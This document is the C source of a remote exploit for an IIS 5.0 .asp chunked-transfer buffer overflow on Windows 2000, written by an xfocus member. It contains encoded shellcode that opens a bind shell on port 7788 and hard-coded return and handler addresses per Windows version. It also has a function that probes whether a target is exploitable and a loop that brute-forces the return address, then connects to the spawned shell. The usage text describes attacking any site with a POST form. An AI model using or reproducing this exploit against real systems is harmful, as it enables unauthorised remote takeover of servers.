/* 
IIS5.0 .asp overrun remote brute force exploit 
           by isno(isno@xfocus.org) 
thanks to: 
   hsj: the program is baseed on his smart work 
   benjurry: he give me the biggest help 
   coolweis: help me to find rewrite_addr 
   and all xfocus members 

http://www.xfocus.org 
*/ 
#include <stdio.h> 
#include <winsock.h> 
#pragma comment (lib,"Ws2_32") 

#define RET                 0x00450000  /* brute force addr */ 
#define STEP                2000  /* brute force step */ 
#define WEBPORT             80 

/* top-level exception handler */ 
unsigned int rewrite_addr[] = 
{ 
    0x77ec044c,        //chinese win2k + sp0/sp1 
    0x77ebf44c,        //chinese win2k + sp2 
    0x77edf44c        //english win2k + sp2 
}; 

unsigned char shellcode[] = 
//shellcode open port 7788 
"\xeb\x18\x5f\x57\x5e\x33\xc9\xac\x3a\xc1\x74\x13\x3c\x30\x74\x05" 
"\x34\xaa\xaa\xeb\xf2\xac\x2c\x40\xeb\xf6\xe8\xe3\xff\xff\xff\xff" 
"\x21\x46\x30\x6b\x46\xea\xa3\xaa\xaa\xf9\xfc\xfd\x27\x17\x6a\x30" 
"\x9c\x55\x55\x13\xfa\xa8\xaa\xaa\x12\x66\x66\x66\x66\x59\x30\x41" 
"\x6d\x30\x6f\x30\x46\x5d\x55\x55\xaa\xaa\xaa\xaa\x6d\x30\x6f\x9e" 
"\x5d\x55\x55\xba\xaa\xaa\xaa\x43\x48\xac\xaa\xaa\x30\x65\x30\x6f" 
"\x30\x42\x5d\x55\x55\x27\x17\x5e\x5d\x55\x55\xce\x30\x4b\xaa\xaa" 
"\xaa\xaa\x23\xed\xa2\xce\x23\x97\xaa\xaa\xaa\xaa\x6d\x30\x6f\x5e" 
"\x5d\x55\x55\x55\x55\x55\x55\x21\x30\x6f\x30\x42\x5d\x55\x55\x29" 
"\x42\xad\x23\x30\x6f\x52\x5d\x55\x55\x6d\x30\x6f\x30\x4e\x5d\x55" 
"\x55\xaa\xaa\x4a\xdd\x42\xd4\xac\xaa\xaa\x29\x17\x30\x46\x5d\x55" 
"\x55\xaa\xa5\x30\x6f\x77\xab\xaa\xaa\x21\x27\x30\x4e\x5d\x55\x55" 
"\x30\x6b\x6b\xaa\xaa\xab\xaa\x23\x27\x30\x4e\x5d\x55\x55\x30\x6b" 
"\x17\x30\x4e\x5d\x55\x55\xaa\xaa\xaa\xd2\xdf\xa0\x6d\x30\x6f\x30" 
"\x4e\x5d\x55\x55\xaa\xaa\x5a\x15\x21\x30\x7f\x30\x4e\x5d\x55\x55" 
"\x99\x6a\xcc\x21\xa8\x97\xe7\xf0\xaa\xaa\xa5\x30\x6f\x30\x70\xab" 
"\xaa\xaa\x21\x27\x30\x4e\x5d\x55\x55\x21\xfb\x96\x21\x30\x6f\x30" 
"\x4e\x5d\x55\x55\x99\x63\xcc\x21\xa6\xba\x30\x6b\x53\xfa\xef\xaa" 
"\xaa\xa5\x30\x6f\xd3\xab\xaa\xaa\x21\x30\x7f\x30\x4e\x5d\x55\x55" 
"\x21\xe8\x96\x21\x27\x30\x4e\x5d\x55\x55\x21\xfe\xab\xd2\xa9\x30" 
"\x7f\x30\x4e\x5d\x55\x55\x23\x30\x7f\x30\x4a\x5d\x55\x55\x21\x30" 
"\x6f\x30\x4a\x5d\x55\x55\x21\xe2\xa6\xa9\x27\x30\x4e\x5d\x55\x55" 
"\x23\x27\x36\x5d\x55\x55\x21\x30\x7f\x36\x5d\x55\x55\x30\x6b\x90" 
"\xe1\xef\xf8\xe4\xa5\x30\x6f\x99\xab\xaa\xaa\x21\x30\x6f\x36\x5d" 
"\x55\x55\x30\x6b\xd2\xae\xef\xe6\x99\x98\xa5\x30\x6f\x8a\xab\xaa" 
"\xaa\x21\x27\x30\x4e\x5d\x55\x55\x23\x27\x3e\x5d\x55\x55\x21\x30" 
"\x7f\x30\x4a\x5d\x55\x55\x21\x30\x6f\x30\x4e\x5d\x55\x55\xa9\xe8" 
"\x8a\x23\x30\x6f\x36\x5d\x55\x55\x6d\x30\x6f\x32\x5d\x55\x55\xaa" 
"\xaa\xaa\xaa\x41\xb4\x21\x27\x32\x5d\x55\x55\x29\x6b\xab\x23\x27" 
"\x32\x5d\x55\x55\x21\x30\x7f\x36\x5d\x55\x55\x29\x68\xae\x23\x30" 
"\x7f\x36\x5d\x55\x55\x21\x30\x6f\x30\x4a\x5d\x55\x55\x21\x27\x32" 
"\x5d\x55\x55\x91\xe2\xb2\xa5\x27\x6a\xaa\xaa\xaa\x21\x30\x7f\x36" 
"\x5d\x55\x55\x21\xa8\x21\x27\x30\x4e\x5d\x55\x55\x30\x6b\x96\xab" 
"\xed\xcf\xde\xfa\xa5\x30\x6f\x30\x4a\xaa\xaa\xaa\x21\x30\x7f\x36" 
"\x5d\x55\x55\x21\xa8\x21\x27\x30\x4e\x5d\x55\x55\x30\x6b\xd6\xab" 
"\xae\xd8\xc5\xc9\xeb\xa5\x30\x6f\x30\x6e\xaa\xaa\xaa\x21\x30\x7f" 
"\x32\x5d\x55\x55\xa9\x30\x7f\x32\x5d\x55\x55\xa9\x30\x7f\x30\x4e" 
"\x5d\x55\x55\x21\x30\x6f\x30\x4a\x5d\x55\x55\x21\xe2\x8e\x99\x6a" 
"\xcc\x21\xae\xa0\x23\x30\x6f\x36\x5d\x55\x55\x21\x27\x30\x4a\x5d" 
"\x55\x55\x21\xfb\xba\x21\x30\x6f\x36\x5d\x55\x55\x27\xe6\xba\x55" 
"\x23\x27\x36\x5d\x55\x55\x21\x30\x7f\x36\x5d\x55\x55\xa9\x30\x7f" 
"\x36\x5d\x55\x55\xa9\x30\x7f\x36\x5d\x55\x55\xa9\x30\x7f\x36\x5d" 
"\x55\x55\xa9\x30\x7f\x30\x4e\x5d\x55\x55\x21\x30\x6f\x30\x4a\x5d" 
"\x55\x55\x21\xe2\xb6\x21\xbe\xa0\x23\x30\x7f\x36\x5d\x55\x55\x21" 
"\x30\x6f\x36\x5d\x55\x55\xa9\x30\x6f\x30\x4e\x5d\x55\x55\x23\x30" 
"\x6f\x30\x46\x5d\x55\x55\x41\xaf\x43\xa7\x55\x55\x55\x43\xbc\x54" 
"\x55\x55\x27\x17\x5e\x5d\x55\x55\x21\xed\xa2\xce\x30\x49\xaa\xaa" 
"\xaa\xaa\x29\x17\x30\x46\x5d\x55\x55\xaa\xdf\xaf\x43\xdf\xae\xaa" 
"\xaa\x21\x27\x30\x42\x5d\x55\x55\xcc\x21\xbb\xcc\x23\x30\x7f\x86" 
"\x5d\x55\x55\x21\x30\x6f\x30\x42\x5d\x55\x55\x29\x6a\xa8\x23\x30" 
"\x6f\x30\x42\x5d\x55\x55\x6d\x30\x6f\x36\x5d\x55\x55\xab\xaa\xaa" 
"\xaa\x41\xa5\x21\x27\x36\x5d\x55\x55\x29\x6b\xab\x23\x27\x36\x5d" 
"\x55\x55\x29\x17\x36\x5d\x55\x55\xbb\xa5\x27\x30\x7f\xaa\xaa\xaa" 
"\x29\x17\x36\x5d\x55\x55\xa2\xdf\xb4\x21\x5e\x21\x30\x7f\x30\x42" 
"\x5d\x55\x55\xf8\x55\x30\x7f\x1e\x5d\x55\x55\x91\x5e\x3a\xe9\xe1" 
"\xe9\xe1\x23\x30\x6f\x3e\x5d\x55\x55\x41\x80\x21\x5e\x21\x30\x6f" 
"\x30\x42\x5d\x55\x55\xfa\x21\x27\x3e\x5d\x55\x55\xfb\x55\x30\x7f" 
"\x30\x46\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x21\x30\x7f\x36" 
"\x5d\x55\x55\x23\x30\x6e\x30\x7f\x1a\x5d\x55\x55\x41\xa5\x21\x30" 
"\x6f\x30\x42\x5d\x55\x55\x29\x6a\xab\x23\x30\x6f\x30\x42\x5d\x55" 
"\x55\x21\x27\x30\x42\x5d\x55\x55\xa5\x14\xbb\x30\x6f\x78\xdf\xba" 
"\x21\x30\x6f\x30\x42\x5d\x55\x55\xa5\x14\xe2\xab\x30\x6f\x63\xde" 
"\xa8\x41\xa8\x41\x78\x21\x30\x7f\x30\x42\x5d\x55\x55\x29\x68\xab" 
"\x23\x30\x7f\x30\x42\x5d\x55\x55\x43\xe5\x55\x55\x55\x21\x5e\xc0" 
"\xac\xc0\xab\xc0\xa8\x55\x30\x7f\x7e\x5d\x55\x55\x91\x5e\x3a\xe9" 
"\xe1\xe9\xe1\x23\x30\x6f\xe6\x5d\x55\x55\xcc\x6d\x30\x6f\x92\x5d" 
"\x55\x55\xa8\xaa\xcc\x21\x30\x6f\x86\x5d\x55\x55\xcc\x23\x30\x6f" 
"\x90\x5d\x55\x55\x6d\x30\x6f\x96\x5d\x55\x55\xaa\xaa\xaa\xaa\x6d" 
"\x30\x6f\x36\x5d\x55\x55\xab\xaa\xaa\xaa\x29\x17\x36\x5d\x55\x55" 
"\xaa\xde\xf5\x21\x5e\xc0\xba\x27\x27\x92\x5d\x55\x55\xfb\x21\x30" 
"\x7f\xe6\x5d\x55\x55\xf8\x55\x30\x7f\x72\x5d\x55\x55\x91\x5e\x3a" 
"\xe9\xe1\xe9\xe1\x23\x30\x6f\x36\x5d\x55\x55\xcc\x21\x30\x6f\x90" 
"\x5d\x55\x55\xcc\xaf\xaa\xab\xcc\x23\x30\x6f\x90\x5d\x55\x55\x21" 
"\x27\x90\x5d\x55\x55\x30\x6b\x4b\x55\x55\xaa\xaa\x30\x6b\x53\xaa" 
"\xab\xaa\xaa\xd7\xb8\xcc\x21\x30\x7f\x90\x5d\x55\x55\xcc\x29\x68" 
"\xab\xcc\x23\x30\x7f\x90\x5d\x55\x55\x41\x32\x21\x5e\xc0\xa0\x21" 
"\x30\x6f\xe6\x5d\x55\x55\xfa\x55\x30\x7f\x76\x5d\x55\x55\x91\x5e" 
"\x3a\xe9\xe1\xe9\xe1\x13\xab\xaa\xaa\xaa\x30\x6f\x63\xa5\x30\x6e" 
"\x6c\xa8\xaa\xaa\x21\x5e\x27\x30\x7f\x9e\x5d\x55\x55\xf8\x27\x30" 
"\x6f\x92\x5d\x55\x55\xfa\x21\x27\xe6\x5d\x55\x55\xfb\x55\x30\x7f" 
"\x4a\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x23\x30\x6f\xe2\x5d" 
"\x55\x55\x6d\x30\x6f\xaa\x5d\x55\x55\xa6\xaa\xaa\xaa\x6d\x30\x6f" 
"\xae\x5d\x55\x55\xaa\xaa\xaa\xaa\x6d\x30\x6f\xa2\x5d\x55\x55\xab" 
"\xaa\xaa\xaa\x21\x5e\xc0\xaa\x27\x30\x7f\xaa\x5d\x55\x55\xf8\x27" 
"\x30\x6f\xbe\x5d\x55\x55\xfa\x27\x27\xb2\x5d\x55\x55\xfb\x55\x30" 
"\x7f\x12\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x21\x5e\xc0\xaa" 
"\x27\x30\x7f\xaa\x5d\x55\x55\xf8\x27\x30\x6f\xa6\x5d\x55\x55\xfa" 
"\x27\x27\xba\x5d\x55\x55\xfb\x55\x30\x7f\x12\x5d\x55\x55\x91\x5e" 
"\x3a\xe9\xe1\xe9\xe1\x27\x17\xfa\x5d\x55\x55\x99\x6a\x13\xbb\xaa" 
"\xaa\xaa\x58\x30\x41\x6d\x30\x6f\xd6\x5d\x55\x55\xab\xab\xaa\xaa" 
"\xcc\x6d\x30\x6f\x2a\x5d\x55\x55\xaa\xaa\x21\x30\x7f\xba\x5d\x55" 
"\x55\x23\x30\x7f\x22\x5d\x55\x55\x21\x30\x6f\xbe\x5d\x55\x55\x23" 

"\x30\x6f\x26\x5d\x55\x55\x21\x27\xbe\x5d\x55\x55\x23\x27\x3a\x5d" 
"\x55\x55\x21\x5e\x27\x30\x7f\xb6\x5d\x55\x55\xf8\x27\x30\x6f\xfa" 
"\x5d\x55\x55\xfa\xc0\xaa\xc0\xaa\xc0\xaa\xc0\xab\xc0\xaa\xc0\xaa" 
"\x21\x27\x30\x42\x5d\x55\x55\xfb\xc0\xaa\x55\x30\x7f\x16\x5d\x55" 
"\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x23\x30\x6f\x36\x5d\x55\x55\x21" 
"\x5e\xc0\xaa\xc0\xaa\x27\x30\x7f\x9a\x5d\x55\x55\xf8\xc2\xaa\xae" 
"\xaa\xaa\x27\x30\x6f\xaa\x52\x55\x55\xfa\x21\x27\xb2\x5d\x55\x55" 
"\xfb\x55\x30\x7f\x6e\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x30" 
"\x50\xab\xaa\xaa\xaa\x30\x6f\x78\xa5\x30\x6e\xdf\xab\xaa\xaa\x21" 
"\x5e\xc0\xaa\xc0\xaa\x27\x30\x6f\x9a\x5d\x55\x55\xfa\xc2\xaa\xae" 
"\xaa\xaa\x27\x27\xaa\x52\x55\x55\xfb\x21\x30\x7f\xb2\x5d\x55\x55" 
"\xf8\x55\x30\x7f\x6e\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x29" 
"\x17\x9a\x5d\x55\x55\xaa\xa5\x24\x30\x6e\xaa\xaa\xaa\x21\x5e\xc0" 
"\xaa\x27\x30\x6f\x9a\x5d\x55\x55\xfa\x21\x27\x9a\x5d\x55\x55\xfb" 
"\x27\x30\x7f\xaa\x52\x55\x55\xf8\x21\x30\x6f\xb2\x5d\x55\x55\xfa" 
"\x55\x30\x7f\x62\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x29\x17" 
"\x9a\x5d\x55\x55\xaa\xd4\x82\x21\x5e\xc0\xaa\x21\x27\x9a\x5d\x55" 
"\x55\xfb\x27\x30\x7f\xaa\x52\x55\x55\xf8\x21\x30\x6f\xe2\x5d\x55" 
"\x55\xfa\x55\x30\x7f\x4e\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1" 
"\x41\x8b\x21\x5e\xc0\xaa\xc0\xa2\x21\x27\x30\x42\x5d\x55\x55\xfb" 
"\x21\x30\x7f\xe2\x5d\x55\x55\xf8\x55\x30\x7f\x4e\x5d\x55\x55\x91" 
"\x5e\x3a\xe9\xe1\xe9\xe1\x43\x18\xaa\xaa\xaa\x21\x5e\xc0\xaa\xc2" 
"\xaa\xae\xaa\xaa\x27\x30\x6f\xaa\x52\x55\x55\xfa\x21\x27\xe2\x5d" 
"\x55\x55\xfb\x55\x30\x7f\x42\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9" 
"\xe1\x23\x30\x6f\x9a\x5d\x55\x55\x29\x17\x9a\x5d\x55\x55\xaa\xd5" 
"\xf8\x6d\x30\x6f\x9a\x5d\x55\x55\xac\xaa\xaa\xaa\x21\x5e\xc0\xaa" 
"\x27\x30\x7f\x9a\x5d\x55\x55\xf8\x21\x30\x6f\x9a\x5d\x55\x55\xfa" 
"\x21\x27\x30\x42\x5d\x55\x55\x29\x6b\xa2\xfb\x21\x30\x7f\xa6\x5d" 
"\x55\x55\xf8\x55\x30\x7f\x66\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9" 
"\xe1\x21\x5e\x21\x30\x6f\xe2\x5d\x55\x55\xfa\x55\x30\x7f\x5a\x5d" 
"\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x41\x98\x21\x5e\xc0\xaa\x27" 
"\x27\x9a\x5d\x55\x55\xfb\x21\x30\x7f\x9a\x5d\x55\x55\xf8\x27\x30" 
"\x6f\xaa\x52\x55\x55\xfa\x21\x27\xa6\x5d\x55\x55\xfb\x55\x30\x7f" 
"\x66\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x43\xd4\x54\x55\x55" 
"\x43\x87\x57\x55\x55\x41\x54\xf2\xfa\x21\x17\x30\x42\x5d\x55\x55" 
"\x23\xed\x58\x69\x21\xee\x8e\xa6\xaf\x12\xaa\xaa\xaa\x6d\xaa\xee" 
"\x99\x88\xbb\x99\x6a\x69\x41\x46\x42\xb3\x53\x55\x55\xb4\xc6\xe6" 
"\xc5\xcb\xce\xe6\xc3\xc8\xd8\xcb\xd8\xd3\xeb\xaa\xe9\xd8\xcf\xcb" 
"\xde\xcf\xfa\xc3\xda\xcf\xaa\xe9\xd8\xcf\xcb\xde\xcf\xfa\xd8\xc5" 
"\xc9\xcf\xd9\xd9\xeb\xaa\xe9\xc6\xc5\xd9\xcf\xe2\xcb\xc4\xce\xc6" 
"\xcf\xaa\xfa\xcf\xcf\xc1\xe4\xcb\xc7\xcf\xce\xfa\xc3\xda\xcf\xaa" 
"\xf8\xcf\xcb\xce\xec\xc3\xc6\xcf\xaa\xfd\xd8\xc3\xde\xcf\xec\xc3" 
"\xc6\xcf\xaa\xdd\xd9\xc5\xc9\xc1\x99\x98\x84\xce\xc6\xc6\xaa\xd9" 
"\xc5\xc9\xc1\xcf\xde\xaa\xc8\xc3\xc4\xce\xaa\xc6\xc3\xd9\xde\xcf" 
"\xc4\xaa\xcb\xc9\xc9\xcf\xda\xde\xaa\xd9\xcf\xc4\xce\xaa\xd8\xcf" 
"\xc9\xdc\xaa\xc3\xc5\xc9\xde\xc6\xd9\xc5\xc9\xc1\xcf\xde\xaa\xc9" 
"\xc6\xc5\xd9\xcf\xd9\xc5\xc9\xc1\xcf\xde\xaa\xc9\xc7\xce\x84\xcf" 
"\xd2\xcf\xaa\xcf\xd2\xc3\xde\xa7\xa0\xaa"; 
/* 2234 bytes long */ 

void usage(char *pname) 
{ 
    printf("Usage: %s <targethost> <type> <asp-path> [-b]\r\n",pname); 
    printf(" <type>: 0 -- Chinese Win2000 + SP0 or SP1\r\n"); 
    printf("         1 -- Chinese Win2000 + SP2\r\n"); 
    printf("         2 -- English Win2000 + SP2\r\n"); 
    printf(" <asp-path>: the asp file can deal with POST method\r\n"); 
    printf(" [-b]: brute brute mode,very very very long time mode"); 
    printf("(do not use at first)\r\n\r\n\r\n"); 
    printf("Example: If www.some.com has a html source code include:\r\n"); 
    printf("         <form method=POST action=\"/search.asp\">\r\n"); 
    printf("         then you can run: \r\n"); 
    printf("         %s www.some.com 1 /search.asp\r\n\r\n",pname); 
    exit(1); 
} 

unsigned int resolve(char *name) 
{ 
    struct hostent *he; 
    unsigned int ip; 

    if((ip=inet_addr(name))==(-1)) 
    { 
        if((he=gethostbyname(name))==0) 
            return 0; 
        memcpy(&ip,he->h_addr,4); 
    } 
    return ip; 
} 

int make_connection(char *address,int port,int timeout) 
{ 
    struct sockaddr_in server,target; 
    int s,i,bf; 
    fd_set wd; 
    struct timeval tv; 

    s = socket(AF_INET,SOCK_STREAM,0); 
    if(s<0) 
        return -1; 
    memset((char *)&server,0,sizeof(server)); 
    server.sin_family = AF_INET; 
    server.sin_addr.s_addr = htonl(INADDR_ANY); 
    server.sin_port = 0; 

    target.sin_family = AF_INET; 
    target.sin_addr.s_addr = resolve(address); 
    if(target.sin_addr.s_addr==0) 
    { 
        closesocket(s); 
        return -2; 
    } 
    target.sin_port = htons(port); 
    bf = 1; 
    ioctlsocket(s,FIONBIO,&bf); 
    tv.tv_sec = timeout; 
    tv.tv_usec = 0; 
    FD_ZERO(&wd); 
    FD_SET(s,&wd); 
    connect(s,(struct sockaddr *)&target,sizeof(target)); 
    if((i=select(s+1,0,&wd,0,&tv))==(-1)) 
    { 
        closesocket(s); 
        return -3; 
    } 
    if(i==0) 
    { 
        closesocket(s); 
        return -4; 
    } 
    i = sizeof(int); 
    getsockopt(s,SOL_SOCKET,SO_ERROR,&bf,&i); 
    if((bf!=0)||(i!=sizeof(int))) 
    { 
        closesocket(s); 
        return -5; 
    } 
    ioctlsocket(s,FIONBIO,&bf); 
    return s; 
} 

int check_exploit(char *host,char *aspfile) 
{ 
    int s; 
    char sendbuff[300],recvbuff[200]; 
    sprintf(sendbuff,"POST %s HTTP/1.1\r\n" 
                     "Accept: */*\r\n" 
                     "Host: %s\r\n\r\n", 
                     aspfile, host); 
    s = make_connection(host,WEBPORT,10); 
    if(s<0) 
    { 
        printf("\r\nconnect error:[%d].\r\n",s); 
        exit(1); 
    } 
    send(s,sendbuff,strlen(sendbuff),0); 
    recv(s,recvbuff,100,0); 
    closesocket(s); 
    if(strstr(recvbuff,"404 Object") == NULL && 
        strstr(recvbuff,"400 Bad") == NULL) 
        return 1; 
    else 
        return 0; 
} 

int main(int argc,char *argv[]) 
{ 
    int bb_mod = 0; 
    int i,j,s,csock; 
    unsigned int rewrite,ret; 
    unsigned int ret_start,ret_stop,ret_step; 
    char buf[8192],buf2[16384],path[256]; 

    WSADATA WSAData; 

    if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0) 
    { 
           printf("WSAStartup failed.\n"); 
           WSACleanup(); 
           exit(1); 
    } 

    if(argc<4) 
        usage(argv[0]); 
    i = atoi(argv[2]); 
    if(i > 2 || i < 0) 
        usage(argv[0]); 

    rewrite = rewrite_addr[i]; 
     
    strncpy(path,argv[3],sizeof(path)); 
    path[sizeof(path)-1] = 0; 
     
    if(argc == 5) 
        if(strstr(argv[4],"-b") == NULL) 
            usage(argv[0]); 
        else 
            bb_mod = 1; 

    printf("check if host exploitable......"); 
    if(check_exploit(argv[1],path) == 0) 
    { 
        printf("NO!\r\n"); 
        printf("the host and aspfile cannot be exploitable\r\n\r\n\r\n"); 
        usage(argv[1]); 
    } 
    printf("OK!\r\n"); 
    if(bb_mod == 0) 
    { 
        ret_start = RET; 
        ret_stop = (RET+0xffff); 
        ret_step = STEP; 
    } 
    else 
    { 
        printf("use bb_mode, it'll take a very long time\r\n"); 
        ret_start = 0x00400000; 
        ret_stop = 0x00500000; 
        ret_step = STEP; 
    } 
     
    printf("start to brute force ret_addr\r\n|"); 
    for(ret = ret_start;ret < ret_stop;ret+=ret_step) 
    { 
        for(i=0;i<(sizeof(buf)-strlen(shellcode)-12-1);) 
        { 
            buf[i++] = 0xeb; 
            buf[i++] = 0x06; 
        } 
        *(unsigned int *)&buf[i] = 0x41414141; 
        *(unsigned int *)&buf[i+4] = 0x41414141; 
        *(unsigned int *)&buf[i+8] = 0x41414141; 
        memcpy(&buf[sizeof(buf)-strlen(shellcode)-1],shellcode,strlen(shellcode)); 
        buf[sizeof(buf)-1] = 0; 
        sprintf(buf2,"POST %s?%s HTTP/1.1\r\n" 
                     "Accept: */*\r\n" 
                     "Host: %s\r\n" 
                     "Content-Type: application/x-www-form-urlencoded\r\n" 
                     "Transfer-Encoding: chunked\r\n\r\n" 
                     "10\r\nABCDEFGHIJKLMNOP\r\n" 
                     "4\r\nXXXX\r\n" 
                     "4\r\nYYYY\r\n" 
                     "0\r\n\r\n\r\n", 
                     path,buf,argv[1]); 
        j = strlen(buf2); 
        *(unsigned int *)strstr(buf2,"YYYY") = rewrite; 
        *(unsigned int *)strstr(buf2,"XXXX") = ret; 

        for(i=0; i < 4; i++) 
        { 
            if(i%2 == 0) 
                printf("."); 
            s = make_connection(argv[1],WEBPORT,10); 
            if(s<0) 
            { 
                printf("connect error:[%d].\r\n",s); 
                return -3; 
            } 

            send(s,buf2,j,0); 

            closesocket(s); 

            csock = make_connection(argv[1],7788,2); 
            if(csock > 0) 
            { 

                send(csock,"exit\r\n",6,0); 
                printf("|\r\n\r\nSuccess! telnet to %s 7788\r\n",argv[1]); 
                closesocket(csock); 
                goto bruteend; 
            } 
        } //for 
    } //for ret 
    printf("|\r\n\r\nFail! you need some luck......\r\n"); 
    printf("use: \"%s %s %s %s -b\", try again!\r\n",argv[0],argv[1],argv[2],argv[3]); 

bruteend: 
    return 0; 
}